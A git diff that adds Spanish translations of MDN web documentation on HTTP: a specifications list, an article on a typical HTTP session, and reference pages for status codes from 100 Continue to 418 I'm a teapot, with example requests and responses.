{{rfc(7578)}}Returning Values from Forms: multipart/form-dataProposed Standard
{{rfc(6266)}}Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)Proposed Standard
{{rfc(2183)}}Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field
+ Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.		Proposed Standard
{{rfc(7239)}}Forwarded HTTP ExtensionProposed Standard
{{rfc(6455)}}The WebSocket ProtocolProposed Standard
{{rfc(5246)}}The Transport Layer Security (TLS) Protocol Version 1.2
+ This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.		Proposed Standard
Draft specThe Transport Layer Security (TLS) Protocol Version 1.3
+ Once ready, this protocol will supersede TLS 1.2.		IETF Draft
{{rfc(2817)}}Upgrading to TLS Within HTTP/1.1Proposed Standard
{{rfc(7540)}}Hypertext Transfer Protocol Version 2 (HTTP/2)Proposed Standard
{{rfc(7541)}}HPACK: Header Compression for HTTP/2On the standard track
{{rfc(7838)}}HTTP Alternative ServicesOn the standard track
{{rfc(7301)}}Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension
+ Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.		Proposed Standard
{{rfc(6454)}}The Web Origin ConceptProposed Standard
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}Cross-Origin Resource Sharing{{Spec2("Fetch")}}
{{rfc(7034)}}HTTP Header Field X-Frame-OptionsInformational
{{rfc(6797)}}HTTP Strict Transport Security (HSTS)Proposed Standard
{{SpecName("Upgrade Insecure Requests")}}Upgrade Insecure Requests{{Spec2("Upgrade Insecure Requests")}}
{{SpecName("CSP 1.0")}}Content Security Policy 1.0
+ CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard		{{Spec2("CSP 1.0")}}
Microsoft documentSpecifying legacy document modes*
+ Defines X-UA-Compatible		Note
{{rfc(5689)}}HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)
+ These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.		Proposed Standard
{{rfc(2324)}}Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)April 1st joke spec
{{rfc(7168)}}The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)April 1st joke spec
{{SpecName("HTML WHATWG")}}HTML
+ Defines extensions of HTTP for Server-Sent Events		{{Spec2("HTML WHATWG")}}
Tracking Preference ExpressionDNT headerEditor's draft / Candidate recommendation
Reporting APIReport-To headerDraft
+ +

 

diff --git "a/files/es/web/http/sesi\303\263n/index.html" "b/files/es/web/http/sesi\303\263n/index.html" new file mode 100644 index 0000000000..3d6e2d938b --- /dev/null +++ "b/files/es/web/http/sesi\303\263n/index.html" @@ -0,0 +1,158 @@ +--- +title: Una típica sesión de HTTP +slug: Web/HTTP/Sesión +translation_of: Web/HTTP/Session +--- +
{{HTTPSidebar}}
+ +

En los protocolos basados en el modelo cliente-servidor, como es el caso del HTTP, una sesión consta de tres fases:

+ +
    +
  1. El cliente establece una conexión TCP (o la conexión correspondiente si la capa de transporte corresponde a otro protocolo).
    2. +
  2. El cliente manda su petición, y espera por la respuesta. 
    3. +
  3. El servidor procesa la petición, y responde con un código de estado y los datos correspondientes.
    4. +
+ +

A partir del protocolo HTTP/1.1 la conexión, no se cierra al finalizar la tercera fase, y el cliente puede continuar realizando peticiones. Esto significa que la segunda y tercera fase, pueden repetirse cualquier número de veces.

+ +

Estableciendo una conexión

+ +

En un protocolo cliente servidor, es siempre el cliente el que establece la conexión. Iniciar una conexión en HTTP, implica iniciar una conexión en el protocolo correspondiente a la capa de comunicación subyacente, que normalmente es TCP. 

+ +

En TCP el puerto por defecto, para un servidor HTTP en un computador, es el puerto 80. Se pueden usar otros puertos como el 8000 o el 8080. La URL de la página pedida contiene tanto el nombre del dominio, como el número de puerto, aunque este puede ser omitido, si se trata del puerto 80.  Véase la referencia de Identificación de recursos en la Web para más detalles.

+ +
Nota: El modelo cliente-servidor no permite que el servidor mande datos al cliente sin una petición explicita. Como solución parcial a este problema, los desarrolladores web, usan varias técnicas, como hacer un ping al servidor periódicamente, mediante {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} APIs, o usar la HTML  WebSockets API o protocolos similares.
+ +

Mandando una petición

+ +

Una vez la conexión está establecida, el cliente, puede mandar una petición de datos (normalmente es un navegador, u otra cosa, como una 'araña' ( o 'crawler' en inglés), un sistema de indexación automático de páginas web). La  petición de datos de un cliente HTTP, consiste en directivas de texto, separadas mediante CRLF (retorno de carro, y cambio de linea), y se divide en tres partes:

+ +
    +
  1. La primera parte, consiste en una linea, que contiene un método, seguido de sus parámetros: +
      +
    • la dirección del documento pedido: por ejemplo su URL completa, sin indicar el protocolo o el nombre del dominio.
      • +
    • la versión del protocolo HTTP
      • +
    +
    2. +
  2. La siguiente parte, está formada por un bloque de líneas consecutivas, que representan las cabeceras de la petición HTTP, y dan información al servidor, sobre que tipo de datos es apropiado (como qué lenguaje usar, o el tipo MIME a usar), u otros datos que modifiquen su comportamiento (como que no envié la respuesta si ya está cacheada). Estas cabeceras HTTP forman un bloque que acaba con una línea en blanco. 
    3. +
  3. La parte final es un bloque de datos opcional, que puede contener más datos para ser usados por el método POST.
    4. +
+ +

Ejemplo de peticiones

+ +

Si queremos una página web, como por ejemplo: http://developer.mozilla.org/, y además le indicamos al servidor que se preferiría la página en Francés, si fuera posible:

+ +
GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
+
+
+ +

Observe la línea vacía al final, que separa el bloque de datos, del bloque de cabecera. Como no existe el campo Content-Length en la cabecera de HTTP, el bloque de datos está vacío, y ahí está el fin de la cabecera, permitiendo al servidor procesar la petición en el momento que recibe la línea vacía.

+ +

Otro ejemplo, en el caso del envío de los datos de un formulario, la trama es:

+ +
POST /contact_form.php HTTP/1.1
+Host: developer.mozilla.org
+Content-Length: 64
+Content-Type: application/x-www-form-urlencoded
+
+name=Juan%20Garcia&request=Envieme%20uno%20de%20sus%20catalogos
+
+ +

Métodos de peticiones

+ +

HTTP define un conjunto de métodos de peticiones  en los que se indican las acciones que se piden realizar al recibir un conjunto de datos. A pesar de que pueden referirse como 'nombres', estos métodos de petición, son denominados a veces como 'verbos' de HTTP.  La peticiones más comunes son  GET y POST:

+ + + +

Estructura de la respuesta del servidor

+ +

Después de que el agente de usuario envía su petición, el servidor web lo procesa, y a continuación responde. De forma similar a la petición del servidor, la respuesta del servidor está formada por directivas de texto, separadas por el carácter CRLF, y divida en tres bloques.

+ +
    +
  1. La primera línea, es la línea de estado, que consiste en una confirmación del la versión de HTTP utilizado, y seguido por el estado de la petición (y una breve descripción de este, en formato de texto, que pueda ser leído por personas). 
    2. +
  2. Las líneas siguientes representan cabeceras de HTTP concretas, dando al cliente información sobre los datos enviado( por ejemplo, sy tipo, su tamaño, algoritmos de compresión utilizados, y sugerencias para el cacheo). Al igual que las cabeceras HTTP de la petición de un cliente, las cabeceras HTTP del servidor, finalizan con una línea vacía.
    3. +
  3. El bloque final, es el bloque que puede contener opcionalmente los datos.
    4. +
+ +

Ejemplos de respuestas

+ +

La respuesta correcta de una página web, es como sigue: 

+ +
HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+<!DOCTYPE html... (aquí estarían los 29769 bytes de la página web pedida)
+
+
+ +

La respuesta para la petición de datos que han sido movidos permanentemente, sería: 

+ +
HTTP/1.1 301 Moved Permanently
+Server: Apache/2.2.3 (Red Hat)
+Content-Type: text/html; charset=iso-8859-1
+Date: Sat, 09 Oct 2010 14:30:24 GMT
+Location: https://developer.mozilla.org/ (este es el nuevo enlace a los datos; se espera que el agente de usuario lo pida a continuación)
+Keep-Alive: timeout=15, max=98
+Accept-Ranges: bytes
+Via: Moz-Cache-zlb05
+Connection: Keep-Alive
+X-Cache-Info: caching
+X-Cache-Info: caching
+Content-Length: 325 (se da una página por defecto para mostrar en el caso de que el agente de usuario no sea capaz de seguir el enlace)
+
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
+<html><head>
+<title>301 Movido permanentemente</title>
+</head><body>
+<h1>Movido de forma permanente</h1>
+<p>El documento ha sido movido <a href="https://developer.mozilla.org/">aquí</a>.</p>
+<hr>
+<address>Apache/2.2.3 (Red Hat) Servidor en: developer.mozilla.org Port 80</address>
+</body></html>
+
+
+ +

Una notificación de que los datos pedidos no existen:

+ +
HTTP/1.1 404 Not Found
+Date: Sat, 09 Oct 2010 14:33:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 May 2007 14:24:39 GMT
+ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1"
+Accept-Ranges: bytes
+Content-Length: 10732
+Content-Type: text/html
+
+<!DOCTYPE html... (contiene una página personalizada de ayuda al usuario para que pueda encontrar los datos que busca)
+
+
+ +

Códigos de estado de las respuestas

+ +

Los códigos de estado de las respuestas indican si una petición HTTP ha sido finalizada correctamente. Las respuestas se agrupan en cinco clases: respuestas informativas, respuestas de finalización correcta, redirecciones, errores del cliente y errores del servidor.

+ + + +

Vea también

+ + diff --git a/files/es/web/http/status/100/index.html b/files/es/web/http/status/100/index.html new file mode 100644 index 0000000000..dad9e304c9 --- /dev/null +++ b/files/es/web/http/status/100/index.html @@ -0,0 +1,47 @@ +--- +title: 100 Continue +slug: Web/HTTP/Status/100 +tags: + - Códigos de estado + - HTTP + - Informativa + - continue +translation_of: Web/HTTP/Status/100 +--- +
{{HTTPSidebar}}
+ +

El código de respuesta de estado informativo 100 Continue indica que todo hasta ahora está bien y que el cliente debe continuar con la solicitud o ignorarlo si ya está terminado.

+ +

Para que un servidor verifique los encabezados de la solicitud, un cliente debe enviar {{HTTPHeader("Expect")}}: 100-continue como encabezado en su solicitud inicial y recibe un código de estado 100 Continue en respuesta antes de enviar el cuerpo.

+ +

Estado

+ +
100 Continue
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "100 Continue" , "6.2.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad de navegadores

+ + + +

{{Compat("http.status.100")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/status/101/index.html b/files/es/web/http/status/101/index.html new file mode 100644 index 0000000000..0b9c4556e5 --- /dev/null +++ b/files/es/web/http/status/101/index.html @@ -0,0 +1,56 @@ +--- +title: 101 Switching Protocols +slug: Web/HTTP/Status/101 +tags: + - Códigos de estado + - Estados + - HTTP + - HTTP Status Code + - Información + - Referencia + - WebSockets +translation_of: Web/HTTP/Status/101 +--- +
{{HTTPSidebar}}
+ +
El código de respuesta 101 Switching Protocols  que el servidor está cambiando de protocolo al solicitado por un cliente que mandó un mensaje incluyendo la cabecera {{HTTPHeader("Upgrade")}}.
+ +
 
+ +

El servidor incluye en esta respuesta una cabecera {{HTTPHeader("Upgrade")}} para indicar a qué protocolo ha cambiado. El proceso se describe en detalle en el artículo Protocol upgrade mechanism.

+ +

Estado

+ +
101 Switching Protocols
+ +

Ejemplos

+ +

El cambio de protocolos se podría usar con WebSockets.

+ +
HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Vea también

+ + diff --git a/files/es/web/http/status/200/index.html b/files/es/web/http/status/200/index.html new file mode 100644 index 0000000000..fda6c749f7 --- /dev/null +++ b/files/es/web/http/status/200/index.html @@ -0,0 +1,54 @@ +--- +title: 200 OK +slug: Web/HTTP/Status/200 +tags: + - Codigo de Estado + - HTTP + - Éxito +translation_of: Web/HTTP/Status/200 +--- +
{{HTTPSidebar}}
+ +

El código de respuesta de estado satisfactorio HTTP 200 OK indica que la solicitud ha tenido éxito. Una respuesta 200 es almacenable de forma predeterminada.

+ +

El significado de un éxito depende del método de solicitud HTTP:

+ + + +

El resultado exitoso de un método {{HTTPMethod("PUT")}} o uno {{HTTPMethod("DELETE")}} no es a menudo un 200 OK sino un {{HTTPStatus("204")}} No Content (o un {{HTTPStatus("201")}} Created cuando el recurso es subido por primera vez).

+ +

Estado

+ +
200 OK
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificacionesTitulo
{{RFC("7231", "200 OK" , "6.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad del navegador

+ + + +

{{Compat("http.status.200")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/status/201/index.html b/files/es/web/http/status/201/index.html new file mode 100644 index 0000000000..e3218daa76 --- /dev/null +++ b/files/es/web/http/status/201/index.html @@ -0,0 +1,41 @@ +--- +title: 201 Created +slug: Web/HTTP/Status/201 +translation_of: Web/HTTP/Status/201 +--- +

El código de respuesta de estado de éxito creado HTTP 201 Created indica que la solicitud ha tenido éxito y ha llevado a la creación de un recurso. El nuevo recurso se crea efectivamente antes de enviar esta respuesta. y el nuevo recurso se devuelve en el cuerpo del mensaje, su ubicación es la URL de la solicitud o el contenido del encabezado de la Ubicacion

+ +

El caso de uso común de este código de estado es el resultado de una solicitud metodo POST

+ +

 

+ +

Status

+ +
201 Created
+ +

Especificaciones

+ + + + + + + + + + + + +
Especificacion Titulo
{{RFC("7231", "201 Created" , "6.3.2")}}Protocolo de transferencia de hipertexto (HTTP / 1.1): Semántica y contenido
+ +

Compatibilidad entre navegadores

+ + + +

{{Compat("http.status.201")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/status/202/index.html b/files/es/web/http/status/202/index.html new file mode 100644 index 0000000000..0580fd81e4 --- /dev/null +++ b/files/es/web/http/status/202/index.html @@ -0,0 +1,38 @@ +--- +title: 202 Aceptado +slug: Web/HTTP/Status/202 +tags: + - Codigo de Estado + - HTTP + - Referencia + - Respuesta satisfactoria +translation_of: Web/HTTP/Status/202 +--- +
{{HTTPSidebar}}
+ +

El código de respueta de estado del Protocolo de Transferencia de Hipertexto (HTTP) 202 Aceptado indica que la petición ha sido recibida pero que todavía no se ha actuado al respecto. Es libre, en el sentido de que no hay manera para el HTTP para enviar después una respuesta asíncrona indicando el resultado del procesamiento de la petición. Es pretendida para casos donde otro proceso o servidor maneje la petición, o para procesamiento por lotes.

+ +

Estado

+ +
202 Aceptado
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "202 Accepted" , "6.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Ver también

+ + diff --git a/files/es/web/http/status/203/index.html b/files/es/web/http/status/203/index.html new file mode 100644 index 0000000000..0b5c036f83 --- /dev/null +++ b/files/es/web/http/status/203/index.html @@ -0,0 +1,45 @@ +--- +title: 203 Non-Authoritative Information +slug: Web/HTTP/Status/203 +tags: + - Códigos de respuesta + - Códigos de respuestas HTTP + - HTTP + - Referências + - Respuesta satisfactoria +translation_of: Web/HTTP/Status/203 +--- +
{{HTTPSidebar}}
+ +

El código de respueta de estado del Protocolo de Transferencia de Hipertexto (HTTP) 203 Non-Authoritative Information indica que la peticion fue satisfactoria pero su contenido ha sido modificado por un transformador {{Glossary("Proxy server", "proxy")}} desde los origenes del servidor {{HTTPStatus("200")}} (OK) 

+ +

El código de respuesta 203 es similar al código 214, quiere decir Transformation Applied, of the {{HTTPHeader("Warning")}} header code, que tiene la ventaja adicional de estar disponible para las respuestas con cualquier código.

+ +

Status

+ +
203 Non-Authoritative Information
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

See also

+ + diff --git a/files/es/web/http/status/206/index.html b/files/es/web/http/status/206/index.html new file mode 100644 index 0000000000..38fceffa23 --- /dev/null +++ b/files/es/web/http/status/206/index.html @@ -0,0 +1,79 @@ +--- +title: 206 Partial Content +slug: Web/HTTP/Status/206 +translation_of: Web/HTTP/Status/206 +--- +
{{HTTPSidebar}}
+ +

El  codigo de respuesta con estado exitoso HTTP 206 Partial Content indica que la solicitud se ha realizado con exito y el cuerpo contiene los rangos solicitados de la data, como esta descrito en la cabecera  {{HTTPHeader("Range")}} de la solicitud.

+ +

Si solo hay un rango, el {{HTTPHeader("Content-Type")}} de toda la respuesta es asignada a un tipo de documento, y un {{HTTPHeader("Content-Range")}} es provisto.

+ +

Si muchos rangos son retornados, el {{HTTPHeader("Content-Type")}}  es asignado a multipart/byteranges y cada fragmento cubre un rango, con {{HTTPHeader("Content-Range")}} y  {{HTTPHeader("Content-Type")}} describiendolo .

+ +

Status

+ +
206 Partial Content
+ +

Ejemplos

+ +

Una respuesta conteniendo un solo rango:

+ +
HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Range: bytes 21010-47021/47022
+Content-Length: 26012
+Content-Type: image/gif
+
+... 26012 bytes of partial image data ...
+ +

Una respuesta conteniendo varios rangos:

+ +
HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Length: 1741
+Content-Type: multipart/byteranges; boundary=String_separator
+
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 234-639/8000
+
+...the first range...
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 4590-7999/8000
+
+...the second range
+--String_separator--
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7233", "206 Partial Content" , "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
+ +

Compatibilidad del navegador

+ + + +

{{Compat("http.status.206")}}

+ +

Mira también

+ + diff --git a/files/es/web/http/status/301/index.html b/files/es/web/http/status/301/index.html new file mode 100644 index 0000000000..496fb038f3 --- /dev/null +++ b/files/es/web/http/status/301/index.html @@ -0,0 +1,54 @@ +--- +title: 301 Movido Permanentemente +slug: Web/HTTP/Status/301 +translation_of: Web/HTTP/Status/301 +--- +
{{HTTPSidebar}}
+ +

The HyperText Transfer Protocol (HTTP) 301 Moved Permanently redirect status response code indicates that the resource requested has been definitively moved to the URL given by the {{HTTPHeader("Location")}} headers. A browser redirects to this page and search engines update their links to the resource (in 'SEO-speak', it is said that the 'link-juice' is sent to the new URL).

+ +

Even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents align with it - you can still find this type of bugged software out there. It is therefore recommended to use the 301 code only as a response for {{HTTPMethod("GET")}} or {{HTTPMethod("HEAD")}} methods and to use the {{HTTPStatus("308", "308 Permanent Redirect")}} for {{HTTPMethod("POST")}} methods instead, as the method change is explicitly prohibited with this status.

+ +

Status

+ +
301 Moved Permanently
+ +

Example

+ +

Client request

+ +
GET /index.php HTTP/1.1
+Host: www.example.org
+ +

Server response

+ +
HTTP/1.1 301 Moved Permanently
+Location: http://www.example.org/index.asp
+ +

Specifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "301 Moved Permanently" , "6.4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Browser compatibility

+ + + +

{{Compat("http.status.301")}}

+ +

See also

+ + diff --git a/files/es/web/http/status/302/index.html b/files/es/web/http/status/302/index.html new file mode 100644 index 0000000000..d778ed9346 --- /dev/null +++ b/files/es/web/http/status/302/index.html @@ -0,0 +1,50 @@ +--- +title: 302 Found +slug: Web/HTTP/Status/302 +tags: + - Códigos de estado + - HTTP + - Referencia + - redirecciones +translation_of: Web/HTTP/Status/302 +--- +
{{HTTPSidebar}}
+ +

El código de estado de redirección HTTP 302 Found  indica que el recurso solicitado ha sido movido temporalmente a la URL dada por las cabeceras {{HTTPHeader("Location")}}. Un navegador redirecciona a esta página, pero los motores de búsqueda no actualizan sus enlaces al recurso ( hablando en lenguaje SEO, se suele decir que  el link juice no es enviado a la nueva URL).

+ +

Incluso si la especificación requiere el método, y el cuerpo, no debe ser alterado cuando la redirección se completa, no todos los user-agents se conforman aquí, y tu puedes encontrar software inestable por ahí. Por la tanto se recomienda poner el código 302  sólo como respuesta a los métodos {{HTTPMethod("GET")}} o {{HTTPMethod("HEAD")}} , y usar  en cambio {{HTTPStatus("307")}} Temporary Redirect , ya que el método de cambio está explicitamente prohibido en ese caso.

+ +

En casos en los que quieras que el método usado para cambiar a {{HTTPMethod("GET")}},  usa {{HTTPStatus("303")}} See Other. Esto es práctico cuando quieres dar una respuesta al método {{HTTPMethod("PUT")}}  que no es el recurso subido, pero sí un mensaje de confirmación (como "Has subido satisfactoriamente XYZ").

+ +

Estado

+ +
302 Found
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "302 Found" , "6.4.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad navegadores

+ + + +

{{Compat("http.status.302")}}

+ +

Mira también

+ + diff --git a/files/es/web/http/status/304/index.html b/files/es/web/http/status/304/index.html new file mode 100644 index 0000000000..b868e3da50 --- /dev/null +++ b/files/es/web/http/status/304/index.html @@ -0,0 +1,56 @@ +--- +title: 304 Not Modified +slug: Web/HTTP/Status/304 +translation_of: Web/HTTP/Status/304 +--- +
 
+ +
El código HTTP de redirección  304 Not Modified en el response de la petición indica que no hay necesidad de retransmitir los recursos solicitados. Es una redirección implícita a un elemento/recurso de caché.
+ +
Esto sucede cuando el método de la solicitud es {{glossary("seguro")}} ({{glossary("safe")}}), como en el las peticiones con métodos {{HTTPMethod("GET")}} o {{HTTPMethod("HEAD")}}, o cuando el request (petición) está condicionada y usa la cabecera {{HTTPHeader("If-None-Match")}} o un {{HTTPHeader("If-Modified-Since")}}
+ +
El response {{HTTPStatus("200")}} OK habría incluido los encabezados {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, y {{HTTPHeader("Vary")}}.
+ +
 
+ +
+

Muchos developer tools' network panels (paneles de red de desarrollo) de los navegadores crean extraños request que conducen a un "response(respuesta del servidor) 304 ", entonces el acceso al caché local es accesible a los desarrollodares.

+
+ +

Status

+ +
304 Not Modified
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7232", "304 Not Modified" , "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Compatibilidad en navegadores

+ + + +

{{Compat("http.status.304")}}

+ +

Notas de compatibilidad

+ + + +

See also

+ + diff --git a/files/es/web/http/status/400/index.html b/files/es/web/http/status/400/index.html new file mode 100644 index 0000000000..eb2ef6e2d8 --- /dev/null +++ b/files/es/web/http/status/400/index.html @@ -0,0 +1,38 @@ +--- +title: 400 Petición mala +slug: Web/HTTP/Status/400 +tags: + - Codigo de Estado + - Error del cliente + - HTTP + - Referencia +translation_of: Web/HTTP/Status/400 +--- +
{{HTTPSidebar}}
+ +

La respuesta de código de estado del Protocolo de Transferencia de Hipertexto (HTTP) 400 Bad Request indica que el servidor no puede o no procesará la petición debido a algo que es percibido como un error del cliente (p. ej., sintaxis de petición malformada, solicitud inválida de enmarcado de mensajes, o enrutamiento engañoso de peticiones).

+ +
+

El cliente no debería repetir esta petición sin modificarla.

+
+ +

Estado

+ +
400 Petición mala
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "400 Bad Request" , "6.5.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
diff --git a/files/es/web/http/status/401/index.html b/files/es/web/http/status/401/index.html new file mode 100644 index 0000000000..e454a79a08 --- /dev/null +++ b/files/es/web/http/status/401/index.html @@ -0,0 +1,54 @@ +--- +title: 401 Unauthorized +slug: Web/HTTP/Status/401 +translation_of: Web/HTTP/Status/401 +--- +
{{HTTPSidebar}}
+ +

El código de error HTTP 401 indica que la petición (request) no ha sido ejecutada porque carece de credenciales válidas de autenticación para el recurso solicitado.

+ +

Este estatus se envia con un {{HTTPHeader("WWW-Authenticate")}} encabezado que contiene informacion sobre como autorizar correctamente.

+ +

Es similar al estatus {{HTTPStatus("403")}}, pero en este caso , la autenticación si es posible.

+ +

Estado

+ +
401 Unauthorized
+ +

Respuesta de ejemplo

+ +
HTTP/1.1 401 Unauthorized
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+WWW-Authenticate: Basic realm="Access to staging site"
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7235", "401 Unauthorized" , "3.1")}}HTTP/1.1: Authentication
+ +

Compatibilidad del navegador

+ + + +

{{Compat("http.status.401")}}

+ +

Vea también

+ + diff --git a/files/es/web/http/status/403/index.html b/files/es/web/http/status/403/index.html new file mode 100644 index 0000000000..9110d5f78a --- /dev/null +++ b/files/es/web/http/status/403/index.html @@ -0,0 +1,49 @@ +--- +title: 403 Forbidden +slug: Web/HTTP/Status/403 +translation_of: Web/HTTP/Status/403 +--- +
{{HTTPSidebar}}
+ +
El código de error de respuesta HTTP 403 Forbidden indica que el servidor ha entendido nuestra petición, pero se niega a autorizarla.
+ +
 
+ +
Este estado es similar a {{HTTPStatus("401")}}, pero en este caso, re-autenticarnos no provocará ninguna diferencia. El acceso está permanentemente prohibido y vinculado a la lógica de la aplicación (como un error de contraseña incorrecta).
+ +

Estado

+ +
403 Forbidden
+ +

Respuesta de ejemplo

+ +
HTTP/1.1 403 Forbidden
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "403 Forbidden" , "6.5.3")}}HTTP/1.1: Semantics and Content
+ +

Compatibilidad de navegadores

+ + + +

{{Compat("http.status.403")}}

+ +

Vea también

+ + diff --git a/files/es/web/http/status/404/index.html b/files/es/web/http/status/404/index.html new file mode 100644 index 0000000000..b1296c8043 --- /dev/null +++ b/files/es/web/http/status/404/index.html @@ -0,0 +1,64 @@ +--- +title: 404 Not Found +slug: Web/HTTP/Status/404 +tags: + - Codigo de Estado + - Error de Cliente + - HTTP +translation_of: Web/HTTP/Status/404 +--- +
{{HTTPSidebar}}
+ +

El codigo de error HTTP 404 Not Found (404 No Encontrado) de respuesta de cliente indica que el servidor no puede encontrar el recurso solicitado. Vinculos que conducen a una pagina 404 son normalmente llamados vinculos rotos o vinculos muertos, y pueden estar sujetos a Enlace Roto.

+ +

Un código de estado 404 no indica si el recurso está temporalmente o permanentemente ausente. Pero si un recurso es permanentemente eliminado, un {{HTTPStatus(410)}} (Gone) debe ser usado en lugar del estado 404.

+ +

Estado

+ +
404 Not Found
+ +

En español:

+ +
404 No Encontrado
+ +

Paginas de error personalizadas

+ +

Muchos sitios web personalizan la apariencia de la pagina 404 para que sea de utilidad al usuario y proveen una guia para saber qué hacer. Servidores Apache pueden ser configurados usando un archivo .htaccess con el siguiente codigo:

+ +
ErrorDocument 404 /no-encontrado.html
+ +

Para una pagina 404 de ejemplo, mire la pagina MDN 404.

+ +
+

Diseños personalizados son buenos, si se usan de manera moderada. Siente libre de hacer tus paginas 404 humoristicas y humanas, pero no confundas a tus usuarios.

+
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificacionTitulo
{{RFC("7231", "404 Not Found" , "6.5.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semanticas y contenido
+ +

Compatibilidad con Navegadores

+ + + +

{{Compat("http.status.404")}}

+ +

Vea también

+ + diff --git a/files/es/web/http/status/408/index.html b/files/es/web/http/status/408/index.html new file mode 100644 index 0000000000..0f6d418a72 --- /dev/null +++ b/files/es/web/http/status/408/index.html @@ -0,0 +1,42 @@ +--- +title: 408 Request Timeout +slug: Web/HTTP/Status/408 +translation_of: Web/HTTP/Status/408 +--- +
{{HTTPSidebar}}
+ +

El código de estado de la respuesta 408 Request Timeout del Protocolo de Transferencia de Hipertexto (HTTP) significa que el servidor desea cerrar esta conexión no usada. Se envía a una conexión inactiva por algunos servidores, incluso sin solicitud previa por parte del cliente.

+ +

Un servidor debe enviar "close" en el campo de la cabecera {{HTTPHeader("Connection")}} en la respuesta, ya que 408 implica que el servidor ha decidido cerrar la conexión en lugar de continuar esperando.

+ +

Esta respuesta es usada mucho más desde que algunos navegadores, como Chrome, Firefox 27+, y IE9, usan el mecanizmo de pre-conexión HTTP para acelerar la naveación.

+ +
+

Nota: algunos servidores simplemente cierran la conexión sin enviar este mensaje.

+
+ +

Estado

+ +
408 Request Timeout
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "408 Request Timeout" , "6.5.7")}}Protocolo de Transferencia de HiperTexto (HTTP/1.1): Semánticas y Contenido
+ +

Ver también

+ + diff --git a/files/es/web/http/status/418/index.html b/files/es/web/http/status/418/index.html new file mode 100644 index 0000000000..2d2713f438 --- /dev/null +++ b/files/es/web/http/status/418/index.html @@ -0,0 +1,45 @@ +--- +title: 418 Soy una tetera +slug: Web/HTTP/Status/418 +tags: + - HTTP + - HTTP Status Code + - Protocolo HTTP + - Referencia +translation_of: Web/HTTP/Status/418 +--- +

El código de error HTTP 418 Soy una tetera indica que el servidor se rehusa a preparar café porque es una tetera. Este error es una referencia al Hyper Text Coffee Pot Control Protocol, creado como parte de una broma del April Fools' de 1998.

+ +

Estado

+ +
418 I'm a teapot
+ +

Especificaciones

+ + + + + + + + + + + + + + +
EspecificaciónTítulo
